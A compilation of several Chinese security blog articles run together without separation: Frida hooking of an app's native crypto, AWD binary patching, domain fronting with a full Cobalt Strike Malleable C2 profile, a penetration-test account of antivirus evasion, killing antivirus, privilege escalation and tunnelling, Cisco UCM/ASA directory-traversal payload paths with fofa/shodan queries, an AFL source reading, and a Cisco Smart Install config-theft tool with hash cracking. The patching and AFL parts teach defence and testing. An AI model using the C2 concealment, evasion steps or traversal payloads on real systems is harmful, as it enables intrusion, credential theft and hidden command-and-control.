Java.vm.getEnv().getStringUtfChars(args[3], null).readCString()); //打印我们java层传入的第四个参数           },            onLeave: function(retval){ //onLeave: function(retval)是该函数执行结束要执行的代码,其中retval参数即是返回值                console.log("return:" + Java.vm.getEnv().getStringUtfChars(retval, null).readCString()); //打印返回值                // retval.replace(0); //替换返回值为0                // return retval;           }       }); Ps:通过ida里面的参数,我们可以看到第二个参数为类,我们就没给他打印出来。 我人傻了,一开始的des字眼和偏移量这些都符合des的加密方式,误导了我好久,一直往des方向去找。 尾声: 其实很早我就已经解密成功了,直接通过java层,刚刚发现调用s2的decodeSm4函数,直接hook那边即可成功获取请求和响应的明文: 但是若通过js去操作修改数值,实在太麻烦了,要获取密钥和加密方式,通过脚本自动去加解密,所以我才会去hook native层,获取到密钥。因为上述密钥Config.WHITE_KEY,其实是还有一层加密的,通过hook decodeWhiteKey函数的返回值,成功获取了密钥。 其实后续我也尝试去修改版本号绕过,但是事实证明,代码存在验签: 可以看到,把版本号修改为99.9.99,成功绕过了更新检测,但是他还存在一个盗版验签检测: 验签代码一样需要用hook去绕过。所以前面说的方法一也是行不通的。然后我又突发奇想,有没有可能他密文里面就包含版本信息,那如果我使用99.9.99的版本,抓取密文,然后再安装旧版APP,在他去请求版本更新时,替换密文,是不是可以绕过呢?经过尝试,结果是:可以。他的版本校验就是在服务端,这种方法也可以绕过。 总结: 不用轻易相信别人留下的信息,还是得根据自己的分析得出结论。其实后续我一直在想为什么那个字段是des呢,感觉之前是des加密,后续金融行业都进行了国密改造,然后字段并未更改,导致这种现象,当然只是猜测。至此,已完成对这APP的抓包和加解密。
AWDPwn 漏洞加固总结
AWD简介 AWD(Attack With Defense,攻防兼备) 模式需要在一场比赛里要扮演攻击方和防守方,利用漏洞攻击其他队伍进行得分,修复漏洞可以避免被其他队伍攻击而失分。也就是说,攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时也要保护自己的主机不被别人攻陷而扣分。 Patch-PWN 各家 awd 平台检查机制各不相同,原则上是只针对漏洞点进行 patch 加固,也就是最小修改加固。以下总结不需要改动文件大小、针对漏洞点进行 patch 的几种漏洞类型。 Patch资料 跳转指令 无符号跳转 汇编指令描述JA无符号大于则跳转JNA无符号不大于则跳转JAE无符号大于等于则跳转(同JNB)JNAE无符号不大于等于则跳转(同JB)JB无符号小于则跳转JNB无符号不小于则跳转JBE无符号小于等于则跳转(同JNA)JBNE无符号不小于等于则跳转(同JA) 有符号跳转 汇编指令描述JG有符号大于则跳转JNG有符号不大于则跳转JGE有符号大于等于则跳转(同JNL)JNGE有符号不大于等于则跳转(同JL)JL有符号小于则跳转JNL有符号不小于则跳转JLE有符号小于等于则跳转(同JNG)JNLE有符号不小于等于则跳转(同JG) Patch-整数溢出 Scanf 以 long int 长整形读取输入到 unsigned int 变量 v2 中,然后将 v2 强制转为 int 再与int 48 比较。 但从 scanf 读入一个负数时,最高位为 1 ,从 unsigned int 强制转换为 int 结果是负数,必定比 48 小,在后面 read 读入会造成栈溢出。 Patch方法 将第 9 行的 if 跳转汇编指令 patch 为无符号的跳转指令。 使用 keypatach 进行修改: jle --> jbe Patch-栈溢出 对于栈溢出加固,x64 更容易一些,因为是使用寄存器传参,而x86 使用栈传参,需要用 nop 等保持加固前后的空间不变。 x64 Patch方法 100 是第三个参数,存储寄存器是 rdx ,找到给 rdx 传参的汇编指令进行 patch 使用 ida 默认修改插件修改(Edit-Patch Program-Change word),也可以用 keypatach : 0x64 是长度 0xBA 是操作符 0x64 --> 0x20 x86 不需要对齐 找到压栈的指令,修改压入的数值 修改数值需要补上 0x 这里修改前 size 为 2 ,修改后 size 也为 2 ,所以这题 patch 不需要用 nop 保持 size 需要对齐 找到压栈的指令,修改压入的数值 直接修改 0x20 后,size 长度不对齐,会引起栈空间变化,需要用 nop 进行对齐: 更方便快捷方法是勾选 NOPs padding until next instruction boundary 进行自动填充。 Patch-格式化字符串 修改函数 将 printf 改为 puts ,将 call 的地址改为 puts plt 地址: 这个方法局限性在于:puts 会在原字符串多加 \n ,主办方 check 可能会因此而不通过 修改printf参数 将 printf(format) 修改为 printf("%s",format) 修改 printf 前面的传参指令: mov edi, offset 0x400c01;mov esi,offset format; Patch-UAF 修改逻辑是劫持 call 指令跳转到 .eh_frame 段上写入的自定义汇编程序。 先在 .eh_frame 段上写入代码,首先是 call free 完成释放,然后对 chunk_list 进行置零。取 chunk_list 地址的汇编可以从 call free 前面抄过来: call 0x900;           #调用free函数(plt地址)mov     eax, [rbp-0xc]; #取出下标值cdqe;lea     rdx, ds:0[rax*8];lea rax, qword ptr [heap];mov r8,0; #段地址不能直接赋予立即数mov [rdx+rax],r8;jmp 0xD56; #跳回原来的地址 Patch-if范围 假设需要将图上第二个 if 放到 if 结构内,修改跳转的地址即可: 原始跳转代码: js 0x40081C --> js 0x400845 Patch-更换危险函数 类似与 uaf 一样写汇编实现功能调用,将危险函数替换为其他函数,如果程序中没有目标函数,就通过系统调用方式调用。 将 gets 替换为 read 输入 .eh_frame 写入汇编,将 rdi 的写入地址移动到 rsi ,把其他寄存器也传参之后进行系统调用:
域前置技术和C2隐藏
域前置介绍 域前置又译为域名幌子,是一种隐藏连接真实端点来规避审查的技术。在应用层上运作时,域前置使用户能通过HTTPS连接到被屏蔽的服务,而表面上像在与另一个完全不同的站点通信。 域前置工作原理 域前置核心就是CDN,可以通过添加 A 记录或 AAAA 记录解析的方式将网站域名指向网站服务器公网 IP 地址,来实现用户可以通过域名直接访问已部署在服务器上的网站,而无需使用难记且无明显标识的 IP 地址访问。CDN能够对域名进行加速,当对某个域名进行访问时,并不会直接解析到IP,因此可以给攻击VPS申请一个CDN加速服务,从而达到隐藏IP的效果 CDN工作原理 CDN又叫内容分发网络(Content Delivery Network) 当用户访问域名时,先请求LDNS(即本地dns),如果有缓存会返回给用户ip地址,如果LNDS无缓存即向授权DNS请求,授权DNS解析域名返回别名域名,域名解析请求发送至公有云DNS调度系统,则会分配最佳节点ip地址,LDNS会缓存该IP地址,用户根据该ip地址请求资源,节点ip隐藏了真实ip的地址。 搭建过程 这里选择腾讯云的域名 先实名后注册,注册时间可能比较久,在腾讯云服务器上,根据申请的域名添加解析记录。 域名备案,实际上国内的备案了之后Redteam已无法使用了。 注册 cloudflare https://www.cloudflare.com/zh-cn/进入后添加站点 输入申请的域名别名,选择免费即可 继续 这里会对域名的A记录和CNAME自动进行检测 这个时候邮箱会收到cloudflare的邮件。 修改dns记录,域名注册->我的域名->概览位置修改dns 然后等待dns刷新即可,此时我们ping一下我们的域名发现,解析后的ip地址不是真实的ip地址。 ip地址为cloudflare的ip nslookup查询 SSL/TLS 如果要实现https加密需要下载配置c2证书 下载证书 在VPS需重新生成cs的配置文件cobalstrike.store C2配置隐藏 项目地址 https://github.com/rsmudge/Malleable-C2-Profilesset sleeptime "5000"; set jitter   "0"; set maxdns   "255"; set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"; http-get {   set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";       client {           header "Accept" "*/*";       header "Host" "www.xxx.xxx";   #配置自己的根域名不是别名           metadata {           base64;           prepend "session-token=";           prepend "skin=noskin;";           append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";           header "Cookie";       }   }       server {           header "Server" "Server";       header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";       header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";       header "X-Frame-Options" "SAMEORIGIN";       header "Content-Encoding" "gzip";           output {           print;       }   } } http-post {       set uri "/N4215/adj/amzn.us.sr.aps";       client {           header "Accept" "*/*";       header "Content-Type" "text/xml";       header "X-Requested-With" "XMLHttpRequest";       header "Host" "www.xxx.xxx";   #配置自己的根域名不是别名           parameter "sz" "160x600";       parameter "oe" "oe=ISO-8859-1;";           id {           parameter "sn";       }           parameter "s" "3717";       parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";           output {           base64;           print;       }   }       server {           header "Server" "Server";       header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";       header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";       header "X-Frame-Options" "SAMEORIGIN";       header "x-ua-compatible" "IE=edge";           output {           print;       }   } } 启动服务端,调用配置文件 ./teamserver cs服务端ip password config.profile 生成监听 保存 生成64位的应用程序 成功上线 TIPS 实名注册的腾讯云域名的话是有备案的,所以这里的话建议选择国外的服务器注册域名。
记一次详细的实战渗透
前言 一次授权的渗透测试,过程比较详细,充满了巧合,也算比较有意思直接记录一下,图片打码比较严重,应该是不影响阅读!!!! 前端RCE 信息搜集拿到的资产,通过序列化实现的RCE,但是这里只能执行命令并不能上传等操作,并且服务器还有杀软,所以互联网实现RCE需要做免杀。 http://xxx.xxx.xxx.xxx:xxxx这个不用多说了直接上工具就ok了,这里是windwos系统并不能反弹,所以使用命令上线CS还是可以的。 cs起监听,生成hta文件。 生成的hta文件是没有原生的木马,这里基本上常见的杀软都是过不掉的,所以这里需要做免杀,因为一般的上线方式也都尝试过了,powershell等方式也都不行,有杀软的情况下一般poweshell的执行都会被拦掉,所以这里使用mstha上线,免杀的思路之前的文章CS免杀姿势可以看到,总的来讲思路大差不差。 之前的文章中没有介绍进程注入的免杀手段,如果说一般钓鱼的话使用进程注入的免杀手段是为了避免进程被提前终止或者因为关联的进程树被终止导致CS的连接断掉,mstha上线本来就是弹窗执行,针对服务器的话根本不需要考虑这种情况。 上传到web服务器。 上传免杀后的hta文件,选择一个端口,避免端口冲突。 执行命令 目标服务器成功上线。 发现使用的杀软为360杀毒,简单的加壳是过了360安全卫士的,但是被是杀掉了,所以混淆之后的文件特征且加壳是过杀毒的,360杀毒和安全卫士使用的肯定是同一个病毒库,为什么过了安全卫士杀毒过不掉杀毒,刚开始我以为360杀毒确实比360安全卫士np,后来问过做jinshan杀毒的大佬之后了解到,因为360的病毒库确实大,在文件落地的时候可能会出现检测不到病毒特征的情况,所以说查杀确实存在玄学问题。 虽然是administrator还是获取不到用户名密码,提权。 kill掉360杀毒的进程,提权。 winserver 2008,直接土豆提权,获取system权限。 获取凭证拿到administrator的密码,其实这里也可以直接该密码的。 shell net user administrator xxxxxxxx 这里因为能提权还是算了。 内网穿透 做隧道的时候看个人习惯,比如说frp、proxy-admin、nps等,这里还是根据情况选择,frp做穿透配置文件要求直接写死,修改端口比较麻烦;proxy-admin做穿透,不支持socks协议,仅支持tcp、http、udp协议,等等。所以我个人还是比较喜欢使用nps的,上线之后隧道随意搭建即可。 新增客户端之后,目标服务器上传客户端和配置文件。 目标服务器上线。 搭建隧道即可,查询RDP开放情况。 利用tcp隧道端口转发。 连接远程桌面。 这里有向日葵是一直开放的进程,也获取到了向日葵的控制码,但是不建议连接向日葵,目前版本的向日葵因为需要登录连接,连接的时候会显示主机名,且这个日志官方是有的,我这里是授权的,非授权的情况下是完全可以溯源的。 查询RDP连接记录,发现一台机器可直接远程桌面。 另一台服务器权限拿到,但是不出网。 转发上线 因为不出网转发上线,第二服务器,这里称为B,关闭B的杀软和防火墙。 上传exe,执行,实现转发上线。 发现B为A的数据库服务器,且内网有报表系统,但是没有用户和密码,而后发现有意思的一点儿是,这台服务器上有。 套账解码工具,管理员可能也经常忘记密码吧,解码获取内网报表的系统账号。 内网系统端口转发出来,走http代理,成功登录系统。 内网扫描 这里使用了几种工具做的内网扫描,扫描了10的A段和192、172的A段。 总结 整体来说难度不大,没有域,难点在免杀,能拿报表系统是巧合,转发上线没意外,似乎内网环境比较大,但是在进行端口扫描的时候发现无端口开放情况,且不同的工具探测到的存活主机数目也不相同,可能是DMZ区也说不定,但是也没探测到该段有任何安全设备,这个是比较奇怪的地方。文件都比较老了都是几年前的数据,这里可能服务器已经很早就做了隔离,但是能拿到的数据和能拿到的权限都已经拿到了,可以结束了。
CISCO设备信息泄漏漏洞案例2
前言 上一篇文章介绍了cisco路由器设备的2个漏洞案例,这次补充cisco ip电话设备和安全设备的漏洞案例。 CISCO-UCM ConfigFileCacheList.txt 泄漏 CISCO-UCM 全称Cisco Unified Communications Manager,是用于集成CISCO的语音视频通话、消息传递和移动协作的基础设施 部分 CUCM 服务器在端口 TCP/6970 上有一个 HTTP 服务,其中存在 ConfigFileCacheList.txt 文件,包含位于 TFTP 目录中的所有文件名 fofa语句 product=="CISCO-UCM" shodan语句 http.html:"Cisco Unified Communications Manager" payload x.x.x.x:6970/ConfigFileCacheList.txt 在目标文件中包含了许多SEP开头的文件,那是ip电话的配置文件,sep后面接的是mac地址 可以遍历下载这个ConfigFileCacheList.txt文件内容中的所有文件 在下载的配置文件中,包含ip,描述,端口等配置信息 甚至有的还会包含明文的账号密码 可以用egrep批量查找 egrep -r 'Password' *.xml 在配置文件中获得了账号密码后,可以尝试登录UCM的web后台 当然这个 ConfigFileCacheList.txt 泄漏比较少见,如果遇到UCM可以试试访问/cucm-uds/users路径,可以泄漏用户名信息,再针对用户名进一步爆破弱口令 CVE-2018-0296 Cisco ASA 目录遍历漏洞 Cisco ASA是思科的防火墙设备,一般用于在企业边界,包含了ips,avc,wse等应用功能。 fofa语句 app="CISCO-ASA-5520" 根据文章 https://www.anquanke.com/post/id/171916 中的描述,CVE-2018-0296在不同型号设备上存在2种利用场景,一种是拒绝服务造成设备崩溃重启,一种是目录遍历获得敏感信息 在修复方案中则是增加了对./和../的处理逻辑,以防止目录遍历 拒绝服务这里就不具体测试了,主要看下目录遍历的利用 检测poc /+CSCOU+/../+CSCOE+/files/file_list.json 注意,类似的poc不能在浏览器里直接粘贴访问,因为浏览器会自动将访问的路径类似/../解析为上一级目录,也就是访问的为/+CSCOE+/files/file_list.json 列出 /sessions 目录的内容 /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions 提取登录用户的登录信息 /+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/[name] CVE-2020-3452 Cisco ASA 目录遍历漏洞 CVE-2020-3452漏洞可以在未验证的情况下进行任意文件读取 该漏洞源于 ASA 和 FTD 的 web 服务接口在处理 HTTP 请求的 URL 时缺乏正确的输入验证,导致攻击者可以在目标设备上查看系统内的web目录文件。 此漏洞不能用于获取对 ASA 或 FTD 系统文件或底层操作系统 (OS) 文件的访问,所以只能读取 web 系统目录的文件,比如 webvpn 的配置文件、书签、网络 cookies、部分网络内容和超文本传输协议网址等信息。 作者在推特分享的检测poc https://twitter.com/aboul3la/status/1286141887716503553/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ 读取 /+CSCOE+/portal_inc.lua 文件 至于进一步利用,有研究人员给出了一些已知文件列表 https://twitter.com/HackerGautam/status/1286652700432662528https://raw.githubusercontent.com/3ndG4me/CVE-2020-3452-Exploit/master/cisco_asa_file_list.txt不过实际测试,除了session.js 跑出了一个乱码的内容以外,其他的文件多是一些资源文件,难以进一步利用。
模糊测试工具AFL源码浅析
前言 AFL是一款著名的模糊测试的工具,最近在阅读AFL源码,记录一下,方便以后查阅。 环境 项目:https://github.com/google/AFL.git 编译项目:将编译的优化选项关闭,即改写成-O0 afl-gcc.c 使用gdb加载afl-gcc,并使用set arg -o test test.c设置参数 find_as函数 find_as函数首先会通过AFL_PATH环境变量的值从而获得AFL对应的路径 若上述环境变量不存在则获取当前afl-gcc所在的文件路径 判断该路径下的as文件是否具有可执行权限 u8 *afl_path = getenv("AFL_PATH"); ... if (afl_path) {    tmp = alloc_printf("%s/as", afl_path); //将AFL所在路径与字符as进行拼接    if (!access(tmp, X_OK)) { //函数用来判断指定的文件或目录是否有可执行权限,若指定方式有效则返回0,否则返回-1      as_path = afl_path;      ck_free(tmp);      return;   }    ck_free(tmp); }  slash = strrchr(argv0, '/'); //在参数argv0所指向的字符串中搜索最后一次出现字符'/'  if (slash) {    u8 *dir;    *slash = 0;    dir = ck_strdup(argv0);    *slash = '/';    tmp = alloc_printf("%s/afl-as", dir); //将当前AFL所在的路径跟afl-as进行拼接    if (!access(tmp, X_OK)) {      as_path = dir;      ck_free(tmp);      return;   } ... edit_params函数 edit_params函数实际就是准备需要传入编译器的参数,如编译器的类型gcc或clang 其次就是是否需要开启保护如canary等 最后就是判断是否开启内存泄漏探测的工具,如ASAN,该工具是针对C/C++ 的快速内存错误检测工具 ...  cc_params = ck_alloc((argc + 128) * sizeof(u8*));  name = strrchr(argv[0], '/'); //获取可执行文件名称  if (!name) name = argv[0]; else name++; /*跳过路径符'/' */  if (!strncmp(name, "afl-clang", 9)) { //判断编译器是否为clang     ... }  else {    if (!strcmp(name, "afl-g++")) {      u8* alt_cxx = getenv("AFL_CXX");      cc_params[0] = alt_cxx ? alt_cxx : (u8*)"g++";   } else if (!strcmp(name, "afl-gcj")) {      u8* alt_cc = getenv("AFL_GCJ");      cc_params[0] = alt_cc ? alt_cc : (u8*)"gcj";   } else {      u8* alt_cc = getenv("AFL_CC");      cc_params[0] = alt_cc ? alt_cc : (u8*)"gcc"; //如环境变量没写入AFL_CC则默认使用gcc   } }  while (--argc) {    u8* cur = *(++argv); //读取下一个参数    if (!strncmp(cur, "-B", 2)) { //若参数是-B      if (!be_quiet) WARNF("-B is already set, overriding"); //用于设置编译器的搜索路径      if (!cur[2] && argc > 1) { argc--; argv++; }//继续读取下一个参数      continue;   }    if (!strcmp(cur, "-integrated-as")) continue;    if (!strcmp(cur, "-pipe")) continue; #if defined(__FreeBSD__) && defined(__x86_64__)    if (!strcmp(cur, "-m32")) m32_set = 1; #endif    if (!strcmp(cur, "-fsanitize=address") ||        !strcmp(cur, "-fsanitize=memory")) asan_set = 1; //内存访问的错误    if (strstr(cur, "FORTIFY_SOURCE")) fortify_set = 1;//缓冲区溢出问题的检查    cc_params[cc_par_cnt++] = cur; //cc_params用于存放的参数 }  cc_params[cc_par_cnt++] = "-B"; //参数-B  cc_params[cc_par_cnt++] = as_path; //afl-as的路径  if (clang_mode)    cc_params[cc_par_cnt++] = "-no-integrated-as";  if (getenv("AFL_HARDEN")) {    cc_params[cc_par_cnt++] = "-fstack-protector-all"; //canary保护    if (!fortify_set)      cc_params[cc_par_cnt++] = "-D_FORTIFY_SOURCE=2"; }  if (asan_set) {    /* Pass this on to afl-as to adjust map density. */    setenv("AFL_USE_ASAN", "1", 1); } else if (getenv("AFL_USE_ASAN")) {    if (getenv("AFL_USE_MSAN"))      FATAL("ASAN and MSAN are mutually exclusive");    if (getenv("AFL_HARDEN"))      FATAL("ASAN and AFL_HARDEN are mutually exclusive");    cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";    cc_params[cc_par_cnt++] = "-fsanitize=address"; } else if (getenv("AFL_USE_MSAN")) {    if (getenv("AFL_USE_ASAN"))      FATAL("ASAN and MSAN are mutually exclusive");    if (getenv("AFL_HARDEN"))      FATAL("MSAN and AFL_HARDEN are mutually exclusive");    cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";    cc_params[cc_par_cnt++] = "-fsanitize=memory"; } ...      cc_params[cc_par_cnt++] = "-g"; ...    cc_params[cc_par_cnt++] = "-O3";    cc_params[cc_par_cnt++] = "-funroll-loops";    /* Two indicators that you're building for fuzzing; one of them is       AFL-specific, the other is shared with libfuzzer. */    cc_params[cc_par_cnt++] = "-D__AFL_COMPILER=1";    cc_params[cc_par_cnt++] = "-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1"; }  if (getenv("AFL_NO_BUILTIN")) {    cc_params[cc_par_cnt++] = "-fno-builtin-strcmp";    cc_params[cc_par_cnt++] = "-fno-builtin-strncmp";    cc_params[cc_par_cnt++] = "-fno-builtin-strcasecmp";    cc_params[cc_par_cnt++] = "-fno-builtin-strncasecmp";    cc_params[cc_par_cnt++] = "-fno-builtin-memcmp";    cc_params[cc_par_cnt++] = "-fno-builtin-strstr";    cc_params[cc_par_cnt++] = "-fno-builtin-strcasestr"; }  cc_params[cc_par_cnt] = NULL; } 通过edit_params函数后 可以传递给编译器的参数增加了-B . -g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1这几项 main函数 首先调用isatty函数判断描述符是否为终端机以及是否为静默模式,即不打印任何信息,SAYF即输出函数用于输出提示字符 接着通过find_as函数搜索as文件所在的路径 接着通过edit_params函数编辑获取需要传入编译器的参数 最后通过execvp函数启动gcc或其他编译器  /*    isatty函数用于判断文件描述词是否是为终端机    获取AFL_QUIET的环境变量  */  if (isatty(2) && !getenv("AFL_QUIET")) { //判断是否静默模式    /*      #ifdef MESSAGES_TO_STDOUT      # define SAYF(x...)   printf(x)      #else      # define SAYF(x...)   fprintf(stderr, x)      #endif    */    SAYF(cCYA "afl-cc " cBRI VERSION cRST " by <lcamtuf@google.com>\n"); } else be_quiet = 1;  if (argc < 2) { //参数个数小于两个    SAYF("\n"         "This is a helper application for afl-fuzz. It serves as a drop-in replacement\n"         "for gcc or clang, letting you recompile third-party code with the required\n"         "runtime instrumentation. A common use pattern would be one of the following:\n\n"         " CC=%s/afl-gcc ./configure\n"         " CXX=%s/afl-g++ ./configure\n\n"         "You can specify custom next-stage toolchain via AFL_CC, AFL_CXX, and AFL_AS.\n"         "Setting AFL_HARDEN enables hardening optimizations in the compiled code.\n\n",         BIN_PATH, BIN_PATH);    exit(1); }  find_as(argv[0]); //用于寻找as所在路径  edit_params(argc, argv);//用于获取编译参数  execvp(cc_params[0], (char**)cc_params);//启动gcc或其他编译器 大致流程图 afl-gcc可以看作是劫持了gcc的一个程序,从而修改as的路径(为了后续的插桩做准备),并且添加所有fuzzing所需要的参数再传入实际的编译器中去(这里以gcc作为例子) afl-as.c edit_params函数 afl-as.c的edit_params函数比较简单 首先是确定as文件所在的路径,若没有设置环境变量则直接使用as作为汇编器所在路径的参数 其次是检测.s文件是否在临时目录下,这里我做了测试如果.s不在临时目录则无法插桩成功 最后随机生成文件名,将该文件作为插桩后的文件并作为传输传入汇编器  u8 *tmp_dir = getenv("TMPDIR"), *afl_as = getenv("AFL_AS"); //afl-as的地址 ...  as_params = ck_alloc((argc + 32) * sizeof(u8*)); //给参数分配空间  as_params[0] = afl_as ? afl_as : (u8*)"as";  as_params[argc] = 0; //截断符 ...  //用于记录文件是64位还是32位  for (i = 1; i < argc - 1; i++) {    if (!strcmp(argv[i], "--64")) use_64bit = 1;    else if (!strcmp(argv[i], "--32")) use_64bit = 0;   ...    if (strncmp(input_file, tmp_dir, strlen(tmp_dir)) &&        strncmp(input_file, "/var/tmp/", 9) &&        strncmp(input_file, "/tmp/", 5)) pass_thru = 1; //汇编文件需要放在临时目录下,否则后续无法对文件进行插桩 }  modified_file = alloc_printf("%s/.afl-%u-%u.s", tmp_dir, getpid(),                               (u32)time(NULL)); //随机生成文件名,作为插桩的目标文件 ...  as_params[as_par_cnt++] = modified_file; //将待修改的文件名作为汇编器的参数  as_params[as_par_cnt]   = NULL; add_instrumentation函数 add_instrumentation函数是插桩的关键函数 首先是分别打开需要编译的文件以及存放插桩后的文件,并且对需要编译的文件逐行逐行进行扫描 其次对于以下情况的代码块不进行插桩处理 pass_thru = 1,这里经调试发现只要.s文件存在于临时目录下pass_thru的值就会为0,pass_thru = 1的意思是只传递数据不进行插桩 skip_intel = 1即为跳过intel的汇编语法的代码 不在.text段内 在.text段但是不处于函数标签或者分支标签 trampoline_fmt_64与trampoline_fmt_32即为需要插桩的代码,并会记录总共插桩了几处 若进行了插桩处理,那么则需要在文件末尾插入main_payload_64,是与afl进行fuzzing相关的函数   ...   if (input_file) { //需要编译的文件    inf = fopen(input_file, "r");    if (!inf) PFATAL("Unable to read '%s'", input_file); } else inf = stdin;  outfd = open(modified_file, O_WRONLY | O_EXCL | O_CREAT, 0600); //打开存放插桩后的文件  if (outfd < 0) PFATAL("Unable to write to '%s'", modified_file);  outf = fdopen(outfd, "w");  if (!outf) PFATAL("fdopen() failed");    while (fgets(line, MAX_LINE, inf)) { //对需要汇编的文件进行一行一行的扫描    /* In some cases, we want to defer writing the instrumentation trampoline       until after all the labels, macros, comments, etc. If we're in this       mode, and if the line starts with a tab followed by a character, dump       the trampoline now. */    //isalpha是一种函数:判断字符ch是否为英文字母    //# define R(x) (random() % (x))    if (!pass_thru && !skip_intel && !skip_app && !skip_csect && instr_ok &&        instrument_next && line[0] == '\t' && isalpha(line[1])) {      fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,              R(MAP_SIZE)); //将插桩代码写入改写文件中,trampoline_fmt_64为64位程序的插桩代码,trampoline_fmt_32为32位程序的插桩代码      instrument_next = 0;      ins_lines++; //总共插桩了多少处地方   }   ...    if (line[0] == '\t' && line[1] == '.') {      /* OpenBSD puts jump tables directly inline with the code, which is         a bit annoying. They use a specific format of p2align directives         around them, so we use that as a signal.        OpenBSD为一个类unix的操作系统       */      if (!clang_mode && instr_ok && !strncmp(line + 2, "p2align ", 8) &&          isdigit(line[10]) && line[11] == '\n') skip_next_label = 1; //跳转到下一个标签      if (!strncmp(line + 2, "text\n", 5) ||          !strncmp(line + 2, "section\t.text", 13) ||          !strncmp(line + 2, "section\t__TEXT,__text", 21) ||          !strncmp(line + 2, "section __TEXT,__text", 21)) {        instr_ok = 1; //只要是text段就是我们应该插桩的段        continue;     }      if (!strncmp(line + 2, "section\t", 8) ||          !strncmp(line + 2, "section ", 8) ||          !strncmp(line + 2, "bss\n", 4) ||          !strncmp(line + 2, "data\n", 5)) {        instr_ok = 0; //不需要插桩的段        continue;     }   }     ...    if (line[0] == '\t') {//检测jnz等分支指令      if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) { //绝对跳转jmp不进行插桩处理        fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,                R(MAP_SIZE)); //给分支跳转指令进行插桩        ins_lines++; //插桩的指令数     }      continue; //插桩完直接跳过   }   ...    if (strstr(line, ":")) { //检测标签      if (line[0] == '.') {        /* Apple: .L<num> / .LBB<num> */          if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3))) //分支标签            && R(100) < inst_ratio) {                     ...          if (!skip_next_label) instrument_next = 1; else skip_next_label = 0;//若该标签不需要跳转则记录下来,该标签需要插桩       }     } else { //函数标签        /* Function label (always instrumented, deferred mode). */        instrument_next = 1;//函数标签都需要进行插桩         }   } }    if (ins_lines)    fputs(use_64bit ? main_payload_64 : main_payload_32, outf); //若进行插桩处理则需要插入main_payload_64 这里重点关注一下插桩的位置 情况一:函数入口,例如main函数 函数标签处的插桩如下图所示,插桩的位置是函数第一条指令的上方进行插桩 情况二:分支跳转,例如jle指令 扫描到分支跳转指令,则直接在跳转指令下方进行插桩处理,如下图所示 情况三:.L<num>标签 .L为本地标签,afl-as.c也会扫描该标签并进行插桩处理,可以看到跳转指令的目的地地址就是以.L<num>,因此.L<num>可以认为分支的起始位置,与函数标签一样,会在第一条指令上方进行插桩处理 main函数 main函数主要经过edit_params函数修改了传入汇编器的参数,并且对汇编文件进行插桩处理,最后使用execvp函数启动汇编器进行汇编处理 ...  gettimeofday(&tv, &tz);  rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();//随机种子  srandom(rand_seed);//通过种子生成随机数  edit_params(argc, argv); //加载参数,并在/tmp/目录下生成临时的汇编文件  if (inst_ratio_str) {    if (sscanf(inst_ratio_str, "%u", &inst_ratio) != 1 || inst_ratio > 100)      FATAL("Bad value of AFL_INST_RATIO (must be between 0 and 100)"); }  if (getenv(AS_LOOP_ENV_VAR))    FATAL("Endless loop when calling 'as' (remove '.' from your PATH)");  setenv(AS_LOOP_ENV_VAR, "1", 1);  /* When compiling with ASAN, we don't have a particularly elegant way to skip     ASAN-specific branches. But we can probabilistically compensate for     that... */  if (getenv("AFL_USE_ASAN") || getenv("AFL_USE_MSAN")) {    sanitizer = 1;    inst_ratio /= 3; }  if (!just_version) add_instrumentation();//对文件进行插桩处理  if (!(pid = fork())) {    execvp(as_params[0], (char**)as_params);//将插桩后的文件传入汇编器中    FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]); ... 传入汇编器的参数情况 大致流程图 afl-as相当于劫持了as从而修改汇编的文件名以及对相应的汇编文件进行插桩处理 afl-as.h 该文件放置了插桩需要的代码如trampoline_fmt_64、trampoline_fmt_32、main_payload_64以及main_payload_32,这些代码结合fuzzing过程有关。 总结 afl-gcc与afl-as可以看作是劫持了编译器,将fuzzing相关的参数设置好并对编译文件进行相应的插桩后再调用实际的编译器。
CISCO设备信息泄漏漏洞案例
前言 在日常的渗透任务中,除了常见的集权设备,高危组件的漏洞挖掘,一些iot设备目标也是可以作为重点关注的存在。近期实战中遇到了几个cisco配置信息泄漏的案例,借此机会复习总结下cisco常见的漏洞。 cisco SMI 配置泄漏 Cisco SMI 是一种即插即用功能,可为 Cisco 交换机提供零接触部署并在 TCP 端口 4786 上进行通信。如果发现开放4786端口的cisco设备,那可以深入测试一下。 fofa 语句 protocol="smi" 影响目标还挺多的 git clone https://github.com/ChristianPapathanasiou/CiscoSmartInstallExploit cd CiscoSmartInstallExploit pip2 install tftpy python2 cisco.py [ip] 注意用python2运行,运行成功会下载目标的运行配置 配置文件中存有设备用户密码,ACL配置,ftp配置账号密码等敏感信息 如果想进一步分析配置文件可以下载 ccat 工具进行自动化分析 https://github.com/frostbits-security/ccatgit clone https://github.com/frostbits-security/ccat.git cd ccat pip3 install -r requirements.txt python3 ccat.py configuration_file 我们可以使用 --dump-creds 参数dump出账号密码 文件名m500的可以用hashcat -m 500的掩码进行爆破,5700同理 